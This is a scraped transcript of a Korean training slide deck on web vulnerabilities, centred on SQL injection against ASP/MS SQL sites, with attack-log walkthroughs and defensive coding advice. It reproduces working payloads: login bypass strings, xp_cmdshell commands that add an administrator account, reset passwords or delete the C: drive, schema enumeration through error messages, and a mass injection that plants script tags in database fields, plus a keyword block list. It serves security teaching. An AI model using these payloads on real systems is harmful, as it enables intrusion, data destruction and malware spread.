Presentation is loading. Please wait.

Presentation is loading. Please wait.

Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS

Similar presentations


Presentation on theme: "Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS"— Presentation transcript:

1

2 Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS
6. 파일 업로드 7. 파일 다운로드 8. 디렉토리 노출 9. 인증이 없는 관리자 페이지 10. 쿠키변조 및 재사용 11. 파라미터 변조를 통한 시스템 명령어 사용 12. 자바스크립트 우회 13. HTTP 메소드 14. 불필요한 파일 노출 15. 에러 노출 16. 검색엔진

3 학습 포인트 1. 웹 취약점 종류 및 원인에 대한 이해 2. 취약점별 공격로그의 이해 3. 취약점별 대책(코딩 및 설정)

4 3. 취약점 분류 사이트 : www.owasp.org
웹 취약점을 10가지 형태로 분류하고 정의하며, 웹 보안에 관심 있는 기업 및 개인이 함께 공통된 프로젝트 수행

5 3. 취약점 분류 구분 점검 항목 설 명 1 SQL Injection
로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격 2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격 3 파일 업로드 ASP, PHP, JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격 4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격 5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격 6 관리자 페이지 노출 master.jsp, admin.php 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격 7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격 8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 절차(관리자 글 작성 제한 등)를 우회하는 공격 9 사용자 측 스크립트 변조 자바스크립트 및 히든필드 변조를 통해 인증 권한을 도용하는 행위 10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격 11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우 12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출 14 HTTP Method 정보 노출 PUT, DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

6 4. SQL Injection – 데이터베이스의 이해(1)
데이터 : 현실 세계에서 존재하는 여러 가지 정보 예) 친구 이름, 주소 등 데이터베이스 : 데이터를 효율적으로 관리하기 위해 분리한 정보 데이터베이스 테이블 이름 주소 .. 제품명 가격 .. 사번 직책 .. 필드

7 4. SQL Injection – 데이터베이스의 이해(2)
데이터베이스의 테이블을 정의하고 작성한다. DLL 언어 : create(생성), alter(변경), drop(삭제) 데이터베이스를 추가, 갱신, 삭제 및 검색을 수행한다. DML 언어 : select, insert, update, delete 데이터베이스 보안과 데이터의 연속성을 유지한다. DCL 언어 : grant(권한할당), revoke(권한제거), commit(데이터변경승인) , rollback(데이터변경취소)

8 4. SQL Injection – 데이터베이스의 이해(3)
Select * from 상품 ; Select * from 상품 where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품 상품번호 상품이름 가격 1 Mp3 100,000 2 notebook 1000,000 ..

9 4. SQL Injection – 데이터베이스의 이해(4)
insert into 상품 (상품번호, 상품이름, 가격) Values(100, ‘LCD’, ‘ ’); 테이블 이름 : 상품 상품번호 상품이름 가격 1 mp3 100,000 2 notebook 1,000,000 .. 100 LCD 3,000,000

10 4. SQL Injection – 데이터베이스의 이해(5)
update 상품 set 가격 = where 상품이름 = ‘mp3’ ; 테이블 이름 : 상품 상품번호 상품이름 가격 1 mp3 50000 2 notebook 1,000,000 .. 100 LCD 3,000,000

11 4. SQL Injection – 데이터베이스의 이해(6)
Select * from 직장인 Union Select * from 학생; 두개의 조건 일치 ( 조건 : 두개의 데이터형이 동일 ) 직장인 학생

12 4. SQL Injection – 데이터베이스의 이해(7)
select 지역이름, AVG(점포면적) from 지역 ① group by 지역이름 ② having AVG(점포면적) < 700; ③ 지점명 지역이름 점포면적 신사점 지역1 500 도곡점 지역2 560 지역이름 AVG(점포면적) 지역1 670 지역3 400 지역이름 AVG(점포면적) 지역1 670 지역2 890 지역3 400

13 4. SQL Injection – 데이터베이스의 이해(8)
숫자 형태에만 적용 가능 select sum(면적) 면적합계 from 지점; 테이블이름 : 지점 지점명 면적 직원수 신사점 800 20 도곡점 600 30 면적합계 : 32000

14 4. SQL Injection – 데이터베이스의 이해(8)
select sum(지점명) 면적합계 from 지점; 테이블이름 : 지점 지점명 면적 직원수 신사점 800 20 도곡점 600 30 에러가 발생 ORA 수 값이 유효하지 않습니다.

15 4. SQL Injection – 종류 구분 ① SQL Injection – 논리적 에러
예. SELECT * FROM user_data WHERE last_name = 'Your Name' or '1=1‘ ② Blind SQL Injection – 쿼리 결과 여부 예1. and 1=1 예2. and 1=2 ③ Union SQL Injection – 이중 쿼리 예1. union all select top 1 table_name from information_schema.tables ④ Stored Procedure SQL Injection - 저장프로시저 예1. ';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an'; 12

16 4. SQL Injection – 원인은 무엇인가?
System Object 권한제어 없이 기본 값 사용 1 ) exec master..xp_cmdshell 'net user administrator password'    디폴트 유저인 administrator의 패스워드 변경 2 ) exec master..xp_cmdshell 'dir c:\'    C 드라이브 정보 보기 3 ) exec master..xp_cmdshell 'del c:\ /q/s'    C 드라이브 파일 삭제 DB 계정을 관리자 계정(sa) 으로 일괄적 사용 1) bbs/bbs.asp?id=1

17 $id=admin $passwd= 1’ or ‘1=1 관리자로 로그인 성공
4. SQL Injection 기본 방법 이해 $id=admin $passwd= 1’ or ‘1=1 admin ********** 관리자로 로그인 성공 $strLoginSQL = "Select * from member where id = ‘admin' and password = ‘1’ or ‘1 = 1'"; $strLoginSQL = "Select * from member where id = '$strUserID' and password = '$strUserPass'"; FALSE TRUE TRUE

18 4. SQL Injection 기본 방법 이해 – 실습(1)

19 4. SQL Injection 기본 방법 이해 – 실습(2)

20 4. SQL Injection 기본 방법 이해 – 실습(3)

21 4. SQL Injection 기본 방법 이해 – 실습(4)

22 4. SQL Injection 기본 방법 이해 – 실습(5)
계정 ‘ 암호 -- 에러정보 Uname=%27--&Pass=%27--&submitLogin=Submit 2) 계정 'or 1=1 암호 'or 1=1 'UserName = ''or 1=1' and Pass = ''or 1=1'‘ Quiz . 1번과 2번 정보를 바탕으로 어떤 값을 넣어야 하는가?

23 4. SQL Injection 공격 로그의 특징 ■ 서버 응답 코드가 500 보다 높거나 계속적인 다른 에러
■ 서버 응답 코드가 500 보다 높거나 계속적인 다른 에러 - 응답코드 500 : Internal Server Error ■ 운영과 관련 없는 형태의 질의 요청(시스템 명령어 및 특수문자 포함 등) - 특수문자 : ‘ ; xp_cmdshell 등

24 4. SQL Injection 공격 로그 – 첫 번째
1. Number= '|63|80040e14|' ''_문자열_앞에_닫히지_않은_인용_부호가_있습니다. 2. Number= ' and user=1 and ''='|63|80040e07|nvarchar_값_'team'을(를)_int_데이터_형식의_열로_변환 하는_중_구문_오류가_발생했습니다. 500 3. Number= ' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 4. /Report.asp Number= ' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 5. Number= ’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll' 6. Number= ’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^<iframe%20src=^'

25 4. SQL Injection 공격 로그 – 첫 번째
데이터타입불일치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예1) ' and user=1 and ''=‘ (예2) char(124)+user+char(124)=0 and '%'=‘ ( char(124)는 파이프를 의미함 |user|=0 ) 명령어 역할 User DB 사용자 이름 user_name(1) DB 사용자를 순차적으로 반환 current_name 현재 로그인한 DB 사용자 이름 session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모든 사용자 정보에 대해서 확인 sys.syslogins 모든 사용자의 로그인한 히스토리 정보 sp_helplogins 로그인 정보에 대해서 확인 sys.sql_logins SQL 로그인 정보. ID, 패스워드 해쉬값 xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인 has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

26 4. SQL Injection 공격 로그 – 첫 번째
확인한 계정의 서버역할이 sysadmin 인지 요청함 ' And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And ''=‘ IS_SRVROLEMEMBER(서버역할) sysadmin 관리자권한(모든권한수행) serveradmin 서버차원의 설정을 구성 setupadmin 연결된 서버 추가 및 제거 securityadmin 서버 로그인 관리 processadmin SQL 인스턴스에서 실행중인 프로스세 관리

27 4. SQL Injection 공격 로그– 첫 번째
확인한 계정의 DB역할이 db_owner 인지 요청함 ' And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And ''=' IS_MEMBER(DB역할) db_owner 모든 db역할 수행 db_accessadmin db내 사용자 추가 및 삭제 db_datareader 사용자테이블에서 모든 데이터 보기

28 4. SQL Injection 공격 로그 – 첫 번째
마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 ’; exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll‘ * MS SQL의 기본 DB 구성 요소 Master db : 로그인 계정, 환경설정, 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요) Msdb : 작업정의, 연산자, 수정작업과 같은 정보 저장 Model : 참조 db이며, 사용자를 이를 바탕으로 db 작성 Tempdb : 임시 테이블 및 임시 저장 프로시저 저장 * 저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합, 특정 작업을 일괄 처리하기위한 용도로 사용

29 4. SQL Injection 공격 로그 – 첫 번째
생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(<iframe>…..) 및 소스 중간 삽입 ’; EXEC%20MASTER..XP_CMDSHELL%20'echo%20^ <iframe%20src=^' 악성프로그램(다운로드) 사용자 <iframe src=

30 4. SQL Injection 공격 로그 – 두 번째
:50:54 XXX.XXX – [피해 시스템 IP] 80 GET /member/checkid.asp id=';CREAT.....r.dbo.xp_cmdshell%20'netstat%20-an'; :51:42 XXX.XXX – [피해 시스템 IP] 80 GET /member/checkid.asp id=';CR.....mdshell%20'net%20user%203800hk%203800hk%20/add'; --- 중략 --- :51:59 XXX.XXX – [피해 시스템 IP] 80 GET /member/checkid.asp id=';CRE.....shell%20'net%20localgroup%20administrators%203800hk%20/add'; --- 중략 -- ');exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'-- 200 확장형 저장 프로시저 (xp_cmdshell)제거 - dropextendedproc ;exec%20master.dbo.sp_dropextendedproc%20'xp_cmdshell'--

31 4. SQL Injection 공격 로그 – 세 번째
/Test/Test.asp Code= Bank' &Number=7 &Ref=7' &Page=1&Sear=Writer&Key= |24|80040e14| '_SET_Visited=Visited+1_WHERE_Number_=_7'_문자열_앞에_닫히지_ 않은_인용_부호가_있습니다. 500 === 초기형태로 특수문자(‘)후 에러 노출 여부 확인 목적 /Report.asp Number= ' and user=1 and ''=‘ |63|80040e07|nvarchar_값_'blabla'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ 발생했습니다. 500 === 에러 노출을 이용한 db 계정 획득 목적 200X :24:49 /Report.asp Number= ' And Cast(IS_SRVROLEMEMBER(0x D E00) as varchar(1))+char(124)=1 And ''=‘ |63|80040e07|varchar_값_'0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_ === db계정(blabla)가 sysadmin 인지를 확인

32 4. SQL Injection 공격 로그 – 세 번째
IS_SRVROLEMEMBER(0x D E00) = IS_SRVROLEMEMBER(sysadmin)

33 4. SQL Injection 공격 로그 – 세 번째
/Report.asp Number= ' And Cast(IS_MEMBER(0x F006F E ) as varchar(1))+char(124)=1 And ''='|63|80040e07|varchar_값_'1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 === db_owner인지 확인 요청 Cast(IS_MEMBER(0x F006F E ) = Cast(IS_MEMBER(db_owner)

34 4. SQL Injection 공격 로그 – 세 번째
200X :24:52 /Report.asp Number= ' And db_name()+char(124)=0 And ''='|63|80040e07|nvarchar_값_'blabla|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 Microsoft+URL+Control db_name() 함수 : 데이터베이스 이름 제공

35 4. SQL Injection 공격 로그 – 세 번째
/Report.asp Number= ';DROP TABLE NB_TreeList_Tmp;CREATE TABLE NB_TreeList_Tmp(subdirectory nvarchar(256) NULL,depth tinyint NULL,[file] bit NULL) Microsoft+URL+Control 테이블 삭제 ( drop nb_treelist_tmp ) 테이블 생성 ( create table nb_treelist_tmp … )

36 4. SQL Injection 공격 로그 – 세 번째
200X :25:22 /Report.asp Number= ';Insert NB_TreeList_Tmp exec master..xp_dirtree 'C:\',1, Microsoft+URL+Control === 디렉토리 정보 테이블에 삽입 exec master..xp_dirtree 'C:\‘ 1

37 4. SQL Injection 공격 로그 – 세 번째
200X :25:22 /Report.asp Number= ' And (Select Top 1 cast([subdirectory] as varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 1 [subdirectory],[file] From NB_TreeList_Tmp ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0 And 'fALSE'<>'|63|80040e07|varchar_값_'ASFRoot|0|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500 200X :25:32 /Report.asp Number= ' And (Select Top 1 cast([subdirectory] as varchar(256))+char(124)+cast([file] as varchar(1))+char(124) From(Select Top 21 [subdirectory],[file] From NB_TreeList_Tmp ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc)=0 And 'fALSE'<>'|63|80040e07|varchar_값_'WS_FTP.LOG|1|'을(를)_int_데이터_형식의_열로_변환하는_중_구문_오류가_발생했습니다. 500

38 4. SQL Injection 공격 로그 – 세 번째
SQL> SELECT rowid, rownum, deptno, dname from dept; ROWID    ROWNUM     DEPTNO DNAME AAA          1          ACCOUNTING AAB          2          RESEARCH AAC          3          SALES AAD          4          OPERATIONS SQL> SELECT ENAME, SAL, ROWNUM FROM(SELECT * FROM EMP ORDER BY SAL DESC); ENAME             SAL     ROWNUM ABBK          1 KING             5000          2 FORD             3000          3 SCOTT            3000          4 JONES            2975          5 BLAKE            2850          6 CLARK            2450          7 ALLEN            1600          8

39 4. SQL Injection 공격 로그 – 세 번째
200X :33:17 /Report.asp nvarchar(4000) select backup to 200 Declare : 선언하는 함수 @a를 sysname 는 할당) nvarchar(4000)형태로 4000바이트의 공간 할당하며, 16진수형태이름을 할당함, 즉 love.bak라는 별칭줌 @s=0x6C006F E B00 - Backup to 참고) 백업 명령: backup database 데이터베이스이름 to 백업장치

40 4. SQL Injection 공격 로그 – 네 번째
200X-XX-13 14:15:45 x.x.x.x GET /totalboards/bbs/view.asp board_id=normal93&number=2'%20update%20normal%20set%20subject%20=%20'%3CB%3E!nf3rN.4lL%3C/b%3E';--|402|800a000d|형식이_일치하지_않습니다.:_'cint' Update normal(테이블이름) set subject(필드) = '<h2>!nf3rN.4lL Was Here</2>‘(내용); 참고)update 테이블이름 set 필드이름 = ‘변경내용’ Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까?

41 4. SQL Injection 공격 로그 – 네 번째
Quiz. 공격자는 사전에 테이블이름과 필드이름, 필드타입 등을 어떻게 취득 가능하였을 까? 에러 ‘having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id

42 4. SQL Injection 공격 로그 – 네 번째
테이블 이름 : FSB_USERS 필드 : user_id 그렇다면 다른 필드 값은 어떻게? ‘group by user_id having 1=1-- 테이블 이름 : FSB_USERS 필드 : user_id user_name

43 4. SQL Injection 공격 로그 – 네 번째
테이블 이름 : FSB_USERS 필드 : user_id user_name user_id password creation_date 그렇다면 필드의 데이터 타입은? 'UNION select sum(user_id) from FSB_USERS having 1=1-- 참고 : sum은 숫자 타입에만 사용 가능 The sum or average aggregate operation cannot take a varchar data type as an argument.

44 4. SQL Injection 공격 로그 – 네 번째
결론 : 결국 데이터베이스 정보(테이블 및 필드 이름, 필드 타입)확보를 통해 임의 데이터 변조가 가능함 테이블 이름 : FSB_USERS 필드 : user_id ( integer ) user_name ( varchar ) user_id ( varchar ) password ( varchar ) creation_date ( datetime ) 'insert into FSB_USERS values (user_id, ‘user_name', ‘user_id', ‘password', GETDATE())--

45 4. SQL Injection 공격 로그 – 다섯 번째
Mass SQL Injection : 데이터베이스의 정보를 악용하여 악성코드 링크를 특정 테이블의 필드 혹은 전체 테이블의 필드(게시판 등)에 삽입하여 접속하는 사용자를 악성코드에 감염시키는 대량 공격 기법 데이터베이스 사용자 테이블 게시판 사용자 우편번호 필드 <script src=

46 4. SQL Injection 공격 로그 – 다섯 번째
GET /home/site_content_3.asp src=" from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set

47 4. SQL Injection 공격 로그 – 다섯 번째
Sysobjects(데이터베이스에서 만들어진 각 개체(제약 조건, 기본값, 로그, 규칙, 저장 프로시저 등)에 대해 한 행을 포함합니다. syscolumns(모든 테이블과 뷰에 있는 각 칼럼 정보 제공), systypes(데이터베이스에 있는 모든 시스템 데이터 타입과 정의 데이터 타입을 제공) Sysobjects 정보

48 4. SQL Injection 공격 로그 – 다섯 번째
sysobjects의 type 필드 C = CHECK 제약 조건 D = 기본값 또는 DEFAULT 제약 조건 F = FOREIGN KEY 제약 조건 FN = 스칼라 함수 IF = 인라인 테이블 함수 K = PRIMARY KEY 또는 UNIQUE 제약 조건 L = 로그 P = 저장 프로시저 R = 규칙 RF = 복제 필터 저장 프로시저 S = 시스템 테이블 TF = 테이블 함수 TR = 트리거 U = 사용자 테이블 V = 뷰 X = 확장 저장 프로시저 Quiz. 어떤 의미인가? select * from sysobjects where type = 'U';

49 4. SQL Injection 공격 로그 – 다섯 번째
Syscolumns, systypes 정보

50 4. SQL Injection 공격 로그 – 다섯 번째
src=" from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) dbo.sysobjects a ( sysobjects를 a 로 별칭 ) dbo.syscolumns b ( syscolumn를 b 로 별칭 ) dbo.systypes c ( systypes를 c 로 별칭 ) where a.id=b.id and a.xtype='U‘ and b.xtype=c.xtype and c.name='varchar'; 테이블정보 사용자테이블 테이블 필드 데이터필드 중 varchar

51 4. SQL Injection 공격 로그 – 다섯 번째
src=" from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set Sysobjects(테이블 이름) Syscolumns(테이블 필드), Systypes(테이블 필드의 데이터 타입) UPDATE 테이블명 SET 속성명 = 데이터[, 속성명 = 데이터, ..] WHERE 조건; 예) <사원> 테이블에서 홍길동의 주소를 '이월면' 으로 갱신하는 SQL문 UPDATE 사원 SET 주소='이월면' WHERE 이름='홍길동';‘ update['+a.name+']set['+b.name+']= rtrim(convert(varchar,'+b.name+'))+''<script src="

52 4. SQL Injection 공격 로그 – 다섯 번째
src=" from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar'; set reverse()함수 - 문자열을 역순으로 출력 substring()함수 – 문자열의 시작위치를 지정하고, 해당 위치부터 길이를 출력 형식: SUBSTRING(문자열, 시작위치, 길이) (예) SELECT Substring('abcde',2,3) 결과>> bcd patindex()함수 - 문자열이 시작되는 위치 알려줌 쿼리 실행 전 게시판 글 변조된 형태 : 게시판;<script>; Reverse()함수적용: ;<tpircs>;판시게 Substring()함수적용 : 기존 게시판 글 일부 손실을 방지하기 위해 ;부터 시작해서 8000바이트 정도를 출력하고 다시 이를 reverse하여 원래의 형태로 변경함 Reverse()함수적용: 게시판;<script>;

53 4. SQL Injection 공격 로그 – 다섯 번째
감염된 사이트에 대한 Google 검색 site:co.kr 1.js

54 4. SQL Injection 공격 대책 ASP. Replace()함수를 사용하여 특수문자(‘) 등을 일반문자열로 변환
(예) Prodid = replace(prodid, "'", "''“)

55 4. SQL Injection 공격 대책 PHP. addslashes() 함수 사용 특수문자 필터링 (예)
$query=sprintf("SELECT id, password, username FROM user_table WHERE id='%s';“ , addslashes($id));

56 4. SQL Injection 공격 대책 JSP. preparedStatement 를 사용하면 쿼리시의 value에 특수문자(‘)는 입력값 자체로 처리되어 SQL Injection을 차단함

57 4. SQL Injection 공격 대책 ASP(MS SQL)사이트에서는 DB연결 파일에 적용하여 전체 페이지에
적용하지 않고 필터링 효과를 제공 받을 수 있다. sql_pattern = Array("-", ";", "/*", "*/", "char", "nchar", "varchar", "nvarchar", "alter", "begin", "cast", "create", "cursor", "declare", "delete", "drop", "end", "exec","execute", "fetch", "insert", "kill", "open","select", "sys", "sysobjects", "syscolumns","table", "update", "<script", "</script>", "'") ( 공격패턴 정의 ) for each item in Request.QueryString ( GET방식 입력 값 ) for array_counter = lbound(sql_pattern) to ubound(sql_pattern) ( sql_pattern 배열크기계산 ) item_position1 = InStr(lcase(Request(item)), sql_pattern(array_counter)) Instr()함수는 들어온 문자열을 검사합니다. lcase()함수는 대문자를 소문자로 무조건 변환 if (item_position1 > 0) or (item_position2 > 0) then ( 공격문자열이 있는 경우 ) Response.Write("악의적인 문자열이 포함되어 있습니다.“)

58 4. SQL Injection 공격 대책 자바 스크립트를 이용한 사용자 입력 값 필터링

59 4. SQL Injection 공격 대책 function h_check(Objectname)
{ var intErr var strValue = Objectname// var strValue = Objectname.value var retCode = 0 for (i = 0; i < strValue.length; i++) { var retCode = strValue.charCodeAt(i) var retChar = strValue.substr(i,1).toUpperCase() retCode = parseInt(retCode) if ((retChar < "0" || retChar > "9") && retChar != '-' && retChar !='_' && (retChar < "A" || retChar > "Z") && ((retCode > 255) ||retChar=="'"||(retCode < 0))) { intErr = -1; break; } }


Download ppt "Section II. 웹 취약점의 공격과 방어 3. 웹 취약점 분류 4. SQL Injection 5. XSS"

Similar presentations


Ads by Google